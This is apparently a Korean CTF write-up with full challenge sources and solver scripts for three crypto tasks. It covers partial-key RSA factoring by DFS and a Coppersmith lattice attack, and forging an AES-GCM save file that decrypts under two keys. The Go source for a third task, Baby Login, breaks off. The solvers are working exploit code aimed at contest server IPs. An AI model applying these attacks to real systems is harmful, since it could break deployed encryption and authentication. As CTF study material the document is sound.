Crypto
FactorGame
import sys
from random import SystemRandom
from Crypto.Util.number import getStrongPrime
def show(data):
data = "".join(map(str, data))
sys.stdout.write(data)
sys.stdout.flush()
def input():
return sys.stdin.readline().strip()
def main():
show('Welcome to the FactorGame\n')
show("The Game is simple factor N given N and bits of p, q\n")
show("you have 5 lives for each game\n")
show("win 8 out of 10 games to get the flag\n")
show("good luck\n\n")
known = 264
success = 0
for i in range(10):
show(f"game{i + 1} start!\n")
life = 5
while life > 0:
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
cryptogen = SystemRandom()
counter = 0
while counter < 132 * 2 or counter > 137 * 2:
counter = 0
p_mask = 0
q_mask = 0
for _ in range(known):
if cryptogen.random() < 0.5:
p_mask |= 1
counter += 1
if cryptogen.random() < 0.5:
q_mask |= 1
counter += 1
p_mask <<= 1
q_mask <<= 1
p_redacted = p & p_mask
q_redacted = q & q_mask
show(f'p : {hex(p_redacted)}\n')
show(f'p_mask : {hex(p_mask)}\n')
show(f'q : {hex(q_redacted)}\n')
show(f'q_mask : {hex(q_mask)}\n')
show(f'N : {hex(N)}\n')
show('input p in hex format : ')
inp = int(input(), 16)
show('input q in hex format : ')
inq = int(input(), 16)
if inp == p and inq == q:
success += 1
show('success!\n')
break
else:
show('wrong p, q\n')
life -= 1
show(f'{life} lives left\n')
if success >= 8:
show('master of factoring!!\n')
flag = open('/flag', 'r').read()
show(f'here is your flag : {flag}\n')
else:
show('too bad\n')
show('mabye next time\n')
exit()
if __name__ == "__main__":
main()
512-bit 소수 p, q에 대해, 두 소수의 곱 N과 p, q의 하위 264비트 중 총 265~ 273 비트가 공개된다.
p, q를 맞추면 해당 게임을 승리하고, 실패하면 목숨을 잃고 또 다른 p, q 순서쌍이 주어진다.
물론 모든 목숨을 잃으면 게임에서 패배한다.
10개의 게임마다 5개의 목숨이 주어지며, 최소 8개 이상의 게임에서 승리해야한다.
idea
우선, p, q의 하위 264비트의 후보군을 dfs로 계산할 수 있다.
또한 1023~1024bit인 N에 대하여, p의 unknown bits는 248bit, 248=1024(0.5^2-1/128)이므로로 하여 coppersmith attack(
exploit
from pwn import *
from subprocess import check_output
from re import findall
import sys
import time
sys.set_int_max_str_digits(310000)
def flatter(M):
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
env = {"FLATTER_LOG": "./log"}
ret = check_output(["flatter"], input=z.encode(),env=env,executable="...") # executable must be path of flatter
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
# r = process(["python", "FactorGame.py"])
r = remote("3.38.106.210", "8287")
connected_time = time.time()
known = 264
MAX = 12
# recover 264 lower bits
def solve1(N, p_redacted, p_mask, q_redacted, q_mask):
p_arr = []
q_arr = []
for i in range(known):
if p_mask & 1 == 1:
p_arr.append(p_redacted & 1)
else:
p_arr.append(2)
p_redacted >>= 1
p_mask >>= 1
if q_mask & 1 == 1:
q_arr.append(q_redacted & 1)
else:
q_arr.append(2)
q_redacted >>= 1
q_mask >>= 1
candidates = []
states = [[(0, 0)]]
p, q = 0, 0
while len(states):
if len(states[-1]) == 0:
states.pop()
continue
p, q = states[-1].pop()
if len(states) == known + 1:
if (p * q) & ((1 << known) - 1) == N & ((1 << known) - 1):
candidates.append((p, q))
if len(candidates) > MAX:
break
continue
rnd = len(states) - 1
t = []
for s1 in range(2):
for s2 in range(2):
if p_arr[rnd] != 2 and p_arr[rnd] != s1:
continue
if q_arr[rnd] != 2 and q_arr[rnd] != s2:
continue
if (p + (s1 << rnd)) * (q + (s2 << rnd)) % (1 << (rnd + 1)) == N % (
1 << (rnd + 1)
):
p += s1 << rnd
q += s2 << rnd
t.append((p, q))
p -= s1 << rnd
q -= s2 << rnd
states.append(t)
return candidates
# https://github.com/mimoo/RSA-and-LLL-attacks/blob/871f51d09df82f7eeaaf8b1fad11b44b2221b4c8/coppersmith.sage
debug = False
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)
def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
"""
Coppersmith revisited by Howgrave-Graham
finds a solution if:
* b|modulus, b >= modulus^beta , 0 < beta <= 1
* |x| < XX
"""
#
# init
#
dd = pol.degree()
nn = dd * mm + tt
#
# checks
#
if not 0 < beta <= 1:
raise ValueError("beta should belongs in (0, 1]")
if not pol.is_monic():
raise ArithmeticError("Polynomial must be monic.")
#
# calculate bounds and display them
#
"""
* we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)
* we know LLL will give us a short vector v such that:
||v|| <= 2^((n - 1)/4) * det(L)^(1/n)
* we will use that vector as a coefficient vector for our g(x)
* so we want to satisfy:
2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)
(it's important to use N because we might not know b)
"""
if debug:
# t optimized?
print("\n# Optimized t?\n")
print("we want X^(n-1) < N^(beta*m) so that each vector is helpful")
cond1 = RR(XX^(nn-1))
print("* X^(n-1) = ", cond1)
cond2 = pow(modulus, beta*mm)
print("* N^(beta*m) = ", cond2)
print("* X^(n-1) < N^(beta*m) \n-> GOOD" if cond1 < cond2 else "* X^(n-1) >= N^(beta*m) \n-> NOT GOOD")
# bound for X
print("\n# X bound respected?\n")
print("we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M")
print("* X =", XX)
cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2)
print("* M =", cond2)
print("* X <= M \n-> GOOD" if XX <= cond2 else "* X > M \n-> NOT GOOD")
# solution possible?
print("\n# Solutions possible?\n")
detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2))
print("we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)")
cond1 = RR(2^((nn - 1)/4) * detL^(1/nn))
print("* 2^((n - 1)/4) * det(L)^(1/n) = ", cond1)
cond2 = RR(modulus^(beta*mm) / sqrt(nn))
print("* N^(beta*m) / sqrt(n) = ", cond2)
print("* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) \n-> SOLUTION WILL BE FOUND" if cond1 < cond2 else "* 2^((n - 1)/4) * det(L)^(1/n) >= N^(beta*m) / sqroot(n) \n-> NO SOLUTIONS MIGHT BE FOUND (but we never know)")
# warning about X
print("\n# Note that no solutions will be found _for sure_ if you don't respect:\n* |root| < X \n* b >= modulus^beta\n")
#
# Coppersmith revisited algo for univariate
#
# change ring of pol and x
polZ = pol.change_ring(ZZ)
x = polZ.parent().gen()
# compute polynomials
gg = []
for ii in range(mm):
for jj in range(dd):
gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
for ii in range(tt):
gg.append((x * XX)**ii * polZ(x * XX)**mm)
# construct lattice B
BB = Matrix(ZZ, nn)
for ii in range(nn):
for jj in range(ii+1):
BB[ii, jj] = gg[ii][jj]
# display basis matrix
if debug:
matrix_overview(BB, modulus^mm)
# use flatter
#BB = BB.LLL()
BB = flatter(BB)
# transform shortest vector in polynomial
new_pol = 0
for ii in range(nn):
new_pol += x**ii * BB[0, ii] / XX**ii
# factor polynomial
potential_roots = new_pol.roots()
print("potential roots:", potential_roots)
# test roots
roots = []
for root in potential_roots:
if root[0].is_integer():
result = polZ(ZZ(root[0]))
#if gcd(modulus, result) >= modulus^beta:
if gcd(modulus, result) > 1:
roots.append(ZZ(root[0]))
#
return roots
P.<x> = PolynomialRing(ZZ)
success_cnt = 0
fail_cnt = 0
for _ in range(10):
print(time.time() - connected_time, success_cnt, _ - success_cnt)
r.recvuntil(b'start!\n')
if _ - success_cnt > 2:
print("failed")
r.close()
exit(-1)
if success_cnt == 8:
for lifes in range(5):
r.sendlineafter(b'format : ', b'0')
r.sendlineafter(b'format : ', b'0')
continue
for lifes in range(5):
r.recvuntil(b'p : ')
p_redacted = int(r.recvline()[0:],16)
p_mask = int(r.recvline()[9:],16)
q_redacted = int(r.recvline()[4:],16)
q_mask = int(r.recvline()[9:],16)
N = int(r.recvline()[4:],16)
print("start")
candidates = solve1(N, p_redacted, p_mask, q_redacted, q_mask)
print(len(candidates))
ln = 2^known
if len(candidates) > MAX:
r.sendlineafter(b'format : ', b'0')
r.sendlineafter(b'format : ', b'0')
continue
for cand in candidates:
p, q = cand
assert p < 2^known
assert q < 2^known
assert (p*q) & (2^known - 1) == N & (2^known - 1)
X = Y = 2^(512+1-known)
pol = 2^known * x + p
pol *=ZZ(pow(list(pol)[-1],-1,N))
pol %= N
dd = pol.degree()
# Tweak those
beta = 0.5
epsilon = 1/128
mm = ceil(beta**2 / (dd * epsilon)) # optimized value
tt = floor(dd * mm * ((1/beta) - 1)) # optimized value
XX = ceil(N**((beta**2/dd) - epsilon)) # optimized value
roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
if roots:
break
else:
print("failed")
continue
root = roots[0]
p = (root << known) + p
q = N // p
assert p * q == N
r.sendlineafter(b' : ', hex(p).encode())
r.sendlineafter(b' : ', hex(q).encode())
print(r.recvline())
success_cnt += 1
break
r.interactive()
r.close()
timeout에 걸리지 않기 위해 후보군이 일정량 이하인 경우만 recover을 진행하도록 한다.
Cogechan_Dating_Game
client/client.py:
import Character
import credential
import messages
import pygame
from pygame.locals import QUIT
import random
import string
import sys
import socket
import time
import hashlib
import os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
EAT_COMMAND = 1
PWN_COMMAND = 2
SLEEP_COMMAND = 3
DATE_COMMAND = 4
SAVE_COMMAND = 5
SAVE_SUCCESS = 11
SAVE_FAIL = 12
DEBUG = True
def alert(s):
if DEBUG:
print(s)
else:
return
def get_random_str():
return ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase + string.digits, k = 20)) + os.urandom(10).hex()
def get_credential():
status, ID, PW, nickname = credential.load_credential()
if status == credential.LOAD_SUCCESS:
alert("[+] Load credential.. success")
else:
ID = get_random_str()
PW = get_random_str()
nickname = "You"
status = credential.save_credential(ID, PW, nickname)
if status == credential.SAVE_SUCCESS:
alert("[+] Save a new credential.. success")
else:
alert("[-] Save a new credential.. failed")
exit(-1)
return ID, PW, nickname
def encrypt_data(ID, PW, character):
id_hash = hashlib.sha256(ID.encode()).digest()
pw_hash = hashlib.sha256(PW.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
key = pw_hash[:16]
cipher = AES.new(key, AES.MODE_GCM, nonce)
file_data = b''
file_data += len(character.nickname).to_bytes(2, 'little')
file_data += character.nickname.encode()
file_data += character.day.to_bytes(4, 'little')
file_data += character.stamina.to_bytes(4, 'little')
file_data += character.intelligence.to_bytes(4, 'little')
file_data += character.friendship.to_bytes(4, 'little')
file_data = pad(file_data, 16)
file_data_enc, tag = cipher.encrypt_and_digest(file_data)
return file_data_enc, tag
...
def GUI(ID, PW, character, sock, is_new_game):
#### GUI INIT ####
...
last_click = None
while True:
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sock.close()
exit()
if event.type == pygame.MOUSEBUTTONUP:
if last_click != None and (time.time() - last_click) < 0.4:
continue
mouse = pygame.mouse.get_pos()
...
# Game save
elif 850 <= mouse[0] <= 850+170 and 70 <= mouse[1] <= 70+50:
sock.send(SAVE_COMMAND.to_bytes(1, 'little'))
file_data_enc, tag = encrypt_data(ID, PW, character)
sock.send(len(file_data_enc).to_bytes(2, 'little') + file_data_enc)
sock.send(tag)
status = int.from_bytes(sock.recv(1), 'little')
if status == 0:
put_script(font, screen, 'System', f'Server connection broken.. bye..', 1)
exit()
elif status == SAVE_SUCCESS:
put_script(font, screen, "System", "Save success")
else:
put_script(font, screen, "System", "Save failed")
last_click = time.time()
put_character_status(font, screen, character)
def main():
if len(sys.argv) != 3:
print(f"usage : {sys.argv[0]} ip port")
return
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((ip, port))
except:
alert("[-] failed to connect a server")
return
ID, PW, nickname = get_credential()
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW).to_bytes(2, 'little') + PW.encode())
status = sock.recv(1)
character = Character.Character()
if status[0] == 1: # LOAD_SUCCESS
nickname_len = int.from_bytes(sock.recv(2), 'little')
character.nickname = sock.recv(nickname_len).decode()
character.day = int.from_bytes(sock.recv(4), 'little')
character.stamina = int.from_bytes(sock.recv(4), 'little')
character.intelligence = int.from_bytes(sock.recv(4), 'little')
character.friendship = int.from_bytes(sock.recv(4), 'little')
else:
sock.send(len(nickname).to_bytes(2, 'little') + nickname.encode())
character.nickname = nickname
character.stamina = 100
GUI(ID, PW, character, sock, status[0] == 1)
if __name__ == "__main__":
main()
server/server.py
#!/usr/bin/python3
import Character
import load_and_save
import base64
import sys
import socket
import os
import random
EAT_COMMAND = 1
PWN_COMMAND = 2
SLEEP_COMMAND = 3
DATE_COMMAND = 4
SAVE_COMMAND = 5
DEBUG = True
def read_flag():
with open("flag", "r") as f:
flag = f.read()
return flag
def load(ID, PW):
status, character_load = load_and_save.load_game(ID, PW)
if status == load_and_save.LOAD_SUCCESS:
character = character_load
return status, character
new_character = Character.Character()
new_character.stamina = 100
return status, new_character
def go(sock):
sock.settimeout(60) # No response for 60s then connection will be closed.
# trying to load a save file based on ID, PW first
ID_len = int.from_bytes(sock.recv(2), 'little')
ID = sock.recv(ID_len).decode()
PW_len = int.from_bytes(sock.recv(2), 'little')
PW = sock.recv(PW_len).decode()
status, character = load(ID, PW)
sock.send(status.to_bytes(1, 'little'))
if status == load_and_save.LOAD_SUCCESS:
sock.send(len(character.nickname).to_bytes(2, 'little') + character.nickname.encode())
sock.send(character.day.to_bytes(4, 'little'))
sock.send(character.stamina.to_bytes(4, 'little'))
sock.send(character.intelligence.to_bytes(4, 'little'))
sock.send(character.friendship.to_bytes(4, 'little'))
if status != load_and_save.LOAD_SUCCESS:
nickname_len = int.from_bytes(sock.recv(2), 'little')
character.nickname = sock.recv(nickname_len).decode('utf-8', 'ignore')
character.stamina = 100
while True:
com = int.from_bytes(sock.recv(1), 'little')
...
elif com == SAVE_COMMAND:
file_data_enc_len = int.from_bytes(sock.recv(2), 'little')
file_data_enc = sock.recv(file_data_enc_len)
tag = sock.recv(16)
status = load_and_save.save_game(ID, PW, character, file_data_enc, tag)
sock.send(status.to_bytes(1, 'little'))
def main():
if len(sys.argv) != 3:
print(f"usage : {sys.argv[0]} [host] [port]")
return
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((ip, port))
sock.listen(0x10)
while True:
client_sock, addr = sock.accept()
if DEBUG:
print(f"[+] new connection - {addr[0]}")
pid = os.fork()
if pid == 0:
try:
go(client_sock)
except Exception as e:
if DEBUG:
print(e, '-', addr[0])
client_sock.close()
exit()
else:
client_sock.close()
if __name__ == "__main__":
main()
server/load_and_save.py
import json
import hashlib
import json
import Character
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
LOAD_SUCCESS = 1
LOAD_FAIL = 2
SAVE_SUCCESS = 11
SAVE_FAIL = 12
def decrypt_and_parse_save_data(key, nonce, save_data, tag):
cipher = AES.new(key, AES.MODE_GCM, nonce)
file_data = unpad(cipher.decrypt_and_verify(save_data, tag), 16)
idx = 0
nickname_len = int.from_bytes(file_data[idx:idx+2], 'little')
idx += 2
nickname = file_data[idx:idx+nickname_len].decode('utf-8', 'ignore')
idx += nickname_len
day = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
stamina = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
intelligence = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
friendship = int.from_bytes(file_data[idx:idx+2], 'little')
character = Character.Character(nickname, day, stamina, intelligence, friendship)
return character
def id_pw_validity_check(ID, PW):
if len(ID) < 20 or len(PW) < 20:
return False
if len(set(ID)) < 20 or len(set(PW)) < 20:
return False
if ID == PW:
return False
return True
def load_game(ID, PW):
if not id_pw_validity_check(ID, PW):
return LOAD_FAIL, None
id_hash = hashlib.sha256(ID.encode()).digest()
pw_hash = hashlib.sha256(PW.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
key = pw_hash[:16]
# read save file
try:
with open(f'save/{file_name}', 'rb') as f:
raw_data = f.read()
file_data_enc = raw_data[:-16]
tag = raw_data[-16:]
except Exception as e:
return LOAD_FAIL, None
# parse it!
try:
character = decrypt_and_parse_save_data(key, nonce, file_data_enc, tag)
except Exception as e: # error during decryption
print("LOAD!!", e)
return LOAD_FAIL, None
return LOAD_SUCCESS, character
def save_game(ID, PW, character, save_data, tag):
if not id_pw_validity_check(ID, PW):
return SAVE_FAIL
id_hash = hashlib.sha256(ID.encode()).digest()
pw_hash = hashlib.sha256(PW.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
key = pw_hash[:16]
try:
character_parse = decrypt_and_parse_save_data(key, nonce, save_data, tag)
if character.day != character_parse.day or \
character.stamina != character_parse.stamina or \
character.intelligence != character_parse.intelligence or \
character.friendship != character_parse.friendship:
return SAVE_FAIL
if character.friendship >= 20: # Please do not save almost-cleared one
return SAVE_FAIL
except Exception as e: # error during decryption
print("SAVE!!", e)
return SAVE_FAIL
try:
with open(f'save/{file_name}', 'wb') as f:
f.write(save_data)
f.write(tag)
except:
return SAVE_FAIL, None
return SAVE_SUCCESS
현 상태를 save 할때 server는 client가 보내는 암호화된 세이브파일을 그대로 받아 저장한다.
이 때, 파일명, nonce는 ID로부터, key는 PW로부터 생성되어 해당 파일을 AES-GCM모드로 복호화 및 검증하고, tag와 함께 파일에 저장한다.
플레이어가 load 할때는 서버는 해당 파일을 AES-GCM모드로 복호화하고 해석하여 게임을 불러온다.
idea
같은 세이브 파일을 2개의 다른 key로 복호화 하여, 각각 우리가 원하는 형태로 해석되도록 하는것이 핵심 아이디어다. 이때 filename, nonce, 그리고 ciphertext+tag는 모두 일치한다.
def decrypt_and_parse_save_data(key, nonce, save_data, tag):
cipher = AES.new(key, AES.MODE_GCM, nonce)
file_data = unpad(cipher.decrypt_and_verify(save_data, tag), 16)
idx = 0
nickname_len = int.from_bytes(file_data[idx:idx+2], 'little')
idx += 2
nickname = file_data[idx:idx+nickname_len].decode('utf-8', 'ignore')
idx += nickname_len
day = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
stamina = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
intelligence = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
friendship = int.from_bytes(file_data[idx:idx+2], 'little')
character = Character.Character(nickname, day, stamina, intelligence, friendship)
return character
세이브 파일의 해석은 다음과 같이 이루어진다. 우리는 nickname의 길이가 key1에서는 0xe, key2에서는 0x1e가 되도록 하여, key1, key2로 복호화시 각각 정보가 2번째, 3번째 블럭에 위치하도록 하자.
이를 위해서는 key1으로 복호화시 첫 2바이트는 0e00, key2로 복호화시 첫 2바이트는 1e00이므로 동일한 counter1 블럭을 암호화하고 xor한 값의 첫 2바이트가 1000이어야 한다.
또한, pad검증을 통과하기 위해 5번째 블럭의 마지막 바이트가 01이 되도록 할것이므로, 동일한 counter5 블럭을 암호화한 마지막 1바이트가 일치해야한다.
즉, 3바이트가 해당 조건을 만족하는 key1, key2를 생성하는 PW1, PW2순서쌍을 찾아야한다
이후에는 1번째 2번째 블럭, 3번째 블럭, 5번째 블럭에 각각 원하는 정보와 패딩을 통과하도록 ciphertext를 작성하고, 두 key에 대해 계산한 tag가 일치하도록 4번째 블럭을 작성한다!
exploit
import Character
import credential
import messages
from Crypto.Util.number import bytes_to_long, long_to_bytes
#import pygame
#from pygame.locals import QUIT
import random
import string
import sys
import socket
import time
import hashlib
import os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
def xor(a, b):
return bytes([x ^^ y for x, y in zip(a, b)])
BF.<X> = GF(2)[]
FF.<A> = GF(2 ^ 128, modulus=X ^ 128 + X ^ 7 + X ^ 2 + X + 1)
P.<x> = PolynomialRing(FF)
# int to element
def int2ele(integer):
res = 0
for i in range(128):
# rightmost bit is x127
res += (integer & 1) * (A ^ (127 - i))
integer >>= 1
return res
# bytes to element
def bytes2ele(b):
return int2ele(bytes_to_long(b))
# element to int
def ele2int(element):
integer = element.integer_representation()
res = 0
for i in range(128):
res = (res << 1) + (integer & 1)
integer >>= 1
return res
# element to bytes
def ele2bytes(ele):
return long_to_bytes(ele2int(ele))
# len(A)||len(C) 블럭을 FF의 원소로 리턴
def bitlen_block(auth_len, plain_len):
auth_bitlen = auth_len * 8
plain_bitlen = plain_len * 8
return int2ele((auth_bitlen << 64) | plain_bitlen)
def get_enc(c):
assert len(c) % 0x10 == 0
c_bitlen_block = bitlen_block(0, len(c))
c = [bytes2ele(c[i : i + 16]) for i in range(0, len(c), 16)]
return c, c_bitlen_block
def get_random_str():
return ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase + string.digits, k = 20)) + os.urandom(10).hex()
ID = "VtzP34rpvMCKZRs2aQoWd1cba94d60b669aa3ecf" #get_random_str()
id_hash = hashlib.sha256(ID.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
PW1 = "fVqKAnCerU0zJ9g8u4Iwaf234a6ed4a92904d910" #get_random_str()
pw_hash1 = hashlib.sha256(PW1.encode()).digest()
key1 = pw_hash1[:16]
cipher1 = AES.new(key1, AES.MODE_GCM, nonce=nonce)
E1 = cipher1.encrypt(b'\x00' * 0x50)
nick1 = xor(E1[:2], b'\x0e\x00') + E1[-1:]
while True:
PW2 = "i8WfMaIQn4gGdxAtrsoJb53b314ca108d841b464" #get_random_str()
pw_hash2 = hashlib.sha256(PW2.encode()).digest()
key2 = pw_hash2[:16]
cipher2 = AES.new(key2, AES.MODE_GCM, nonce=nonce)
E2 = cipher2.encrypt(b'\x00' * 0x50)
nick2 = xor(E2[:2], b'\x1e\x00') + E2[-1:]
if nick1 == nick2:
break
payload = b'\x0e\x00' + b'a' * 0xe
payload += int(0).to_bytes(4, 'little')
payload += int(100).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(100).to_bytes(4, 'little')
payload += int(0xFFFFFFFF).to_bytes(4, 'little')
payload += int(33).to_bytes(4, 'little')
payload = xor(payload, E1[:0x20] + E2[0x20:0x30])
assert xor(payload[:2], E1[:2]) == b'\x0e\x00'
assert xor(payload[:2], E2[:2]) == b'\x1e\x00'
cipher01 = AES.new(key1, AES.MODE_ECB)
H1 = bytes2ele(cipher01.encrypt(b'\x00' * 0x10))
E_k1 = bytes2ele(cipher01.encrypt(nonce + b'\x00\x00\x00\x01'))
cipher02 = AES.new(key2, AES.MODE_ECB)
H2 = bytes2ele(cipher02.encrypt(b'\x00' * 0x10))
E_k2 = bytes2ele(cipher02.encrypt(nonce + b'\x00\x00\x00\x01'))
payload += b'\x00' * 0x10
payload += xor(b'\x01' * 0x10, E1[-0x10:])
payload_ele, bitlenblock = get_enc(payload)
assert payload_ele[3] == 0
tag1 = E_k1 + bitlenblock * H1
for i in range(5):
tag1 += payload_ele[4 - i] * H1 ^ (i + 2)
tag2 = E_k2 + bitlenblock * H2
for i in range(5):
tag2 += payload_ele[4 - i] * H2 ^ (i + 2)
last_block = (tag1 + tag2) / (H1 ^ 3 + H2 ^ 3)
tag1 += last_block * H1 ^ 3
tag2 += last_block * H2 ^ 3
assert tag1 == tag2
tag = ele2bytes(tag1)
payload = payload[:0x30] + ele2bytes(last_block) + payload[-0x10:]
cipher1 = AES.new(key1, AES.MODE_GCM, nonce=nonce)
print(cipher1.decrypt_and_verify(payload, tag))
cipher2 = AES.new(key2, AES.MODE_GCM, nonce=nonce)
print(cipher2.decrypt_and_verify(payload, tag))
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("3.35.166.110", int(3434)))
# only once
"""
# login1
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW1).to_bytes(2, 'little') + PW1.encode())
status = sock.recv(1)
assert status[0] == 2
sock.send(b'\x0e\x00' + b'a' * 0xe)
# save1
sock.send(b'\x05')
sock.send(len(payload).to_bytes(2, 'little') + payload)
sock.send(tag)
status = int.from_bytes(sock.recv(1), 'little')
"""
# login2
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW2).to_bytes(2, 'little') + PW2.encode())
status = int.from_bytes(sock.recv(1), 'little')
assert status == 1
ret = sock.recv(0x100)
print(ret)
# pwn2
sock.send(b'\x02')
status = int.from_bytes(sock.recv(1), 'little')
print(status)
# date2
sock.send(b'\x04')
status = int.from_bytes(sock.recv(1), 'little')
print(status)
ret = sock.recv(0x100)
print(ret)
flag를 획득하기 위해서는 friendship가 33, intelligence가 33bit인 상태에서 date를 해야하는데,
load를 통해서 초기화할 수 있는 intelligence의 최댓값은 0xFFFFFFFF이다.
따라서 우선 해당 값으로 초기화한 뒤, pwn을 통해 33bit으로 늘려야 한다.
Baby Login
package main
import (
"bufio"
"crypto/aes"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/hmac"
"crypto/rand"
"crypto/sha256"
"crypto/subtle"
"encoding/base64"
"encoding/json"
"fmt"
"io/ioutil"
"math/big"
"os"
"os/signal"
"strings"
"syscall"
"time"
"github.com/google/uuid"
)
type HTTPRequest struct {
Method string `json:"method"`
Uid string `json:"uid"`
Password string `json:"password"`
Session string `json:"session"`
Secret string `json:"secret"`
Path string `json:"path"`
}
type User struct {
userName string
userRole string
}
var SessionManager map[string]User
var SERVER_SECRET_KEY []byte
func pad(s []byte, length int) []byte {
for len(s)%length != 0 || len(s) < length {
s = append(s, byte('\x00'))
}
return s
}
func unpad(s []byte) []byte {
for s[len(s)-1] == byte('\x00') {
s = s[:len(s)-1]
}
return s
}
func KDF(Gx, Gy *big.Int, serverPriv []byte) ([]byte, []byte) {
_m, _ := elliptic.P256().ScalarMult(Gx, Gy, serverPriv)
key := pad(_m.Bytes(), 32)
return key[:16], key[16:32]
}
func passwordGen(uid, role string) []byte {
curve := elliptic.P256()
R, _ := ecdsa.GenerateKey(curve, rand.Reader)
Gx, Gy := R.PublicKey.X, R.PublicKey.Y
key1, key2 := KDF(Gx, Gy, SERVER_SECRET_KEY)
cipher, _ := aes.NewCipher(key1)
ct := make([]byte, 16)
cipher.Encrypt(ct, pad([]byte(uid+"_GUEST"), 16))
out := append(Gx.Bytes(), Gy.Bytes()...)
out = append(out, ct...)
hmac := hmac.New(sha256.New, key2)
hmac.Write(out)
tag := hmac.Sum(nil)
out = append(out, tag...)
return out
}
func indexHandler(r HTTPRequest) {
if r.Method == "GET" {
u := SessionManager[r.Session]
if u.userName == "" {
fmt.Println("Register first and login to access the website!")
return
} else {
fmt.Println("Hi " + u.userName + "! You are logged in as " + u.userRole)
}
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func registerHandler(r HTTPRequest) {
if r.Method == "GET" {
fmt.Println("You can register with your username!")
return
} else if r.Method == "POST" {
uid := r.Uid
if uid == "" {
fmt.Println("Bad Request")
return
} else if uid == "ADMIN" {
fmt.Println("Nope! You can't register as ADMIN!")
return
}
password := passwordGen(uid, "GUEST")
fmt.Println("Here is your password token : " + base64.StdEncoding.EncodeToString(password))
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func loginHandler(r HTTPRequest) {
if r.Method == "GET" {
fmt.Println("You can login with your username and password token!")
return
} else if r.Method == "POST" {
uname := SessionManager[r.Session].userName
if uname != "" {
fmt.Println("You are already logged in as " + uname)
return
}
uid := r.Uid
password := r.Password
if uid == "" || password == "" {
fmt.Println("Bad Request")
return
}
pw, err := base64.StdEncoding.DecodeString(password)
if err != nil {
fmt.Println("Bad Request")
return
}
length := len(pw)
if length < 112 || length%16 != 0 {
fmt.Println("Bad Request")
return
}
Gx := new(big.Int).SetBytes(pw[:32])
Gy := new(big.Int).SetBytes(pw[32:64])
ct, hmac_in := pw[64:length-32], pw[length-32:]
key1, key2 := KDF(Gx, Gy, SERVER_SECRET_KEY)
hmac := hmac.New(sha256.New, key2)
hmac.Write(pw[:length-32])
tag := hmac.Sum(nil)
if subtle.ConstantTimeCompare(tag, hmac_in) != 1 {
fmt.Println("Unauthorized")
return
}
cipher, _ := aes.NewCipher(key1)
pt := make([]byte, len(ct))
cipher.Decrypt(pt, ct)
tmp := strings.Split(string(unpad(pt)), "_")
if len(tmp) < 2 {
fmt.Println("Unauthorized")
return
}
userId, userRole := tmp[0], tmp[1]
if userId != uid {
fmt.Println("Unauthorized")
return
}
u, _ := uuid.NewRandom()
var user User
user.userName = userId
user.userRole = userRole
SessionManager[u.String()] = user
fmt.Println("Hello " + userId + "! You are logged in as " + userRole + "!!")
fmt.Println("Here is your session : " + u.String())
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func logoutHandler(r HTTPRequest) {
if r.Method == "GET" {
uname := SessionManager[r.Session].userName
if uname == "" {
fmt.Println("You are not logged in!")
return
}
delete(SessionManager, r.Session)
fmt.Println("Logged out successfully!")
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func flagHandler(r HTTPRequest) {
if r.Method == "POST" {
uname := SessionManager[r.Session].userName
userRole := SessionManager[r.Session].userRole
if uname != "ADMIN" || userRole != "admin" {
fmt.Println("Unauthorized")
return
}
secret := r.Secret
sec, err := base64.StdEncoding.DecodeString(secret)
if err != nil {
fmt.Println("Bad Request")
return
}
